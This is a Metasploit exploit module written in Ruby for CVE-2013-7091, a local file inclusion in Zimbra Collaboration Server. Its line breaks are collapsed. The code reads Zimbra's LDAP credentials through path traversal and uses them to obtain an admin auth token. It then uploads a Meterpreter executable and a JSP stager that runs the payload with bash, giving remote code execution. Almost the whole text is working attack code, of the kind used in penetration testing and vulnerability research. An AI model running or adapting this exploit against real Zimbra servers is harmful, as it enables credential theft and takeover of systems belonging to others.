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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper include REXML Rank = ExcellentRanking def initialize(info = {}) super(update_info(info, 'Name'=> 'Zimbra Collaboration Server LFI', 'Description' => %q{ This module exploits a local file inclusion on Zimbra 8.0.2 and 7.2.2. The vulnerability allows an attacker to get the LDAP credentials from the localconfig.xml file. The stolen credentials allow the attacker to make requests to the service/admin/soap API. This can then be used to create an authentication token for the admin web interface. This access can be used to achieve remote code execution. This module has been tested on Zimbra Collaboration Server 8.0.2 with Ubuntu Server 12.04. }, 'Author'=> [ 'rubina119', # Vulnerability discovery 'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module ], 'License' => MSF_LICENSE, 'References'=> [ [ 'CVE', '2013-7091' ], [ 'OSVDB', '100747' ], [ 'BID', '64149' ], [ 'EDB', '30085' ], [ 'URL', 'http://cxsecurity.com/issue/WLB-2013120097' ] ], 'Privileged'=> false, 'Platform'=> ['linux'], 'Targets' => [ [ 'Zimbra 8.0.2 / Linux', { 'Arch'=> ARCH_X86, 'Platform'=> 'linux' } ], ], 'DefaultOptions'=> { 'SSL' => true }, 'DefaultTarget' => 0, 'DisclosureDate'=> "Dec 06 2013" )) register_options( [ Opt::RPORT(7071), OptString.new('TARGETURI', [true, 'Path to zimbraAdmin web application', '/zimbraAdmin']), OptInt.new('DEPTH', [true, 'Traversal depth until to reach the root path', 9]), OptString.new('ZIMBRADIR', [true, 'Zimbra installation path on the target filesystem (/opt/zimbra by default)', '/opt/zimbra']) ]) end def check res = send_traversal_query(traversal_path("conf/localconfig.xml")) unless res and res.code == 200 return Exploit::CheckCode::Safe end #this response is ~100% gzipped begin text =Rex::Text.ungzip(res.body) rescue Zlib::GzipFile::Error text = res.body end if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit print_status("#{peer} - Getting login credentials...") res = send_traversal_query(traversal_path("conf/localconfig.xml")) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL") end #this response is ~100% gzipped begin text =Rex::Text.ungzip(res.body) rescue Zlib::GzipFile::Error text = res.body.to_s end if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/ zimbra_user = $1 else fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials") end if text =~ /name=\\"zimbra_ldap_password\\">";\sa\["<value>(.*)<\/value>/ zimbra_pass = $1 else fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials") end print_good("#{peer} - Got login credentials!") print_status("#{peer} - Getting auth token...") soap_req = build_soap_req(zimbra_user, zimbra_pass) #lets get our hands foamy res = send_request_cgi({ 'uri' => normalize_uri("service", "admin", "soap"), 'method'=> 'POST', 'ctype' => 'application/soap+xml; charset="utf-8"', 'headers' => { 'SOAPAction'=> '"urn:zimbraAdmin#AuthRequest"', }, 'data'=> soap_req }) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unable to access service URL") end if res.body.to_s =~ /<authToken>(.*)<\/authToken>/ auth_token = $1 else fail_with(Failure::Unknown, "#{peer} - Unable to get auth token") end @cookie ="ZM_ADMIN_AUTH_TOKEN=#{auth_token}" print_good("#{peer} - Got auth token!") #the initial POC for this vuln shows user creation with admin rights for the web interface, thats cool but a shell is even cooler #the web interface has a function to upload the latest version of the desktop client via /service/extension/clientUploader/upload/ #the intent is for a ZCO file, whatever that is. However any file will do and it's placed in /downloads/ which we can reach, how handy! #push our meterpreter and then a stager jsp file that sets correct permissions, executes the meterpreter and removes itself afterwards payload_name = rand_text_alpha(8+rand(8)) stager_name = rand_text_alpha(8+rand(8)) + ".jsp" stager = gen_stager(payload_name) payload_elf = generate_payload_exe #upload payload print_status("#{peer} - Uploading payload") res = upload_file(payload_name, payload_elf) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unable to get upload payload") end #upload jsp stager print_status("#{peer} - Uploading jsp stager") res = upload_file(stager_name, stager) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") end register_files_for_cleanup( "../jetty/webapps/zimbra/downloads/#{stager_name}", "../jetty/webapps/zimbra/downloads/#{payload_name}" ) print_status("#{peer} - Executing payload on /downloads/#{stager_name}") res = send_request_cgi({ 'uri' => normalize_uri("downloads", stager_name), 'method'=> 'GET', }) end def traversal_path(file_name) ::File.join( "../" * datastore['DEPTH'], datastore['ZIMBRADIR'], file_name ) end def send_traversal_query(traversal) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "res", "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"), 'method' => 'GET', 'encode_params' => false, 'vars_get' => { 'v' => "091214175450", 'skin' => "#{traversal}%00" } }) return res end def upload_file(file_name, data) req_id = rand_text_numeric(2).to_s post_data = Rex::MIME::Message.new post_data.add_part("#{file_name}", nil, nil, "form-data; name=\"filename1\"") post_data.add_part("#{data}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"") post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"") n_data = post_data.to_s n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'uri' => normalize_uri("service", "extension", "clientUploader", "upload"), 'method'=> 'POST', 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, 'data'=> n_data, 'cookie'=> @cookie }) return res end def build_soap_req(zimbra_user, zimbra_pass) xml = Document.new soap_var = "ns1:AuthRequest" xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:ser' => "http://service.emulation.ws.mercury.com", 'xmlns:env' => "http://www.w3.org/2003/05/soap-envelope", 'xmlns:ns1' => "urn:zimbraAdmin", 'xmlns:ns2' => "urn:zimbraAdmin", }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") header = xml.root.elements[1] body = xml.root.elements[2] header.add_element("ns2:context") body.add_element("ns1:AuthRequest") ns1 =body.elements[1] ns1.add_element( "account", { 'by' => "name" }) ns1.add_element("password") ns1.elements["account"].text= "#{zimbra_user}" ns1.elements["password"].text = "#{zimbra_pass}" return xml.to_s end def gen_stager(payload_name) stager= "<%@ page import=\"java.util.*,java.io.*\"%>" stager += " <%" stager += " String uri = request.getRequestURI();" stager += " String filename = uri.substring(uri.lastIndexOf(\"/\")+1);" stager += " String jspfile = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/\" + filename;" stager += " String payload = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/#{payload_name}\";" stager += " Process p = Runtime.getRuntime().exec(\"chmod 700 \" + payload);" stager += " p.waitFor();" stager += " p = Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");" stager += "%>" return stager end end |
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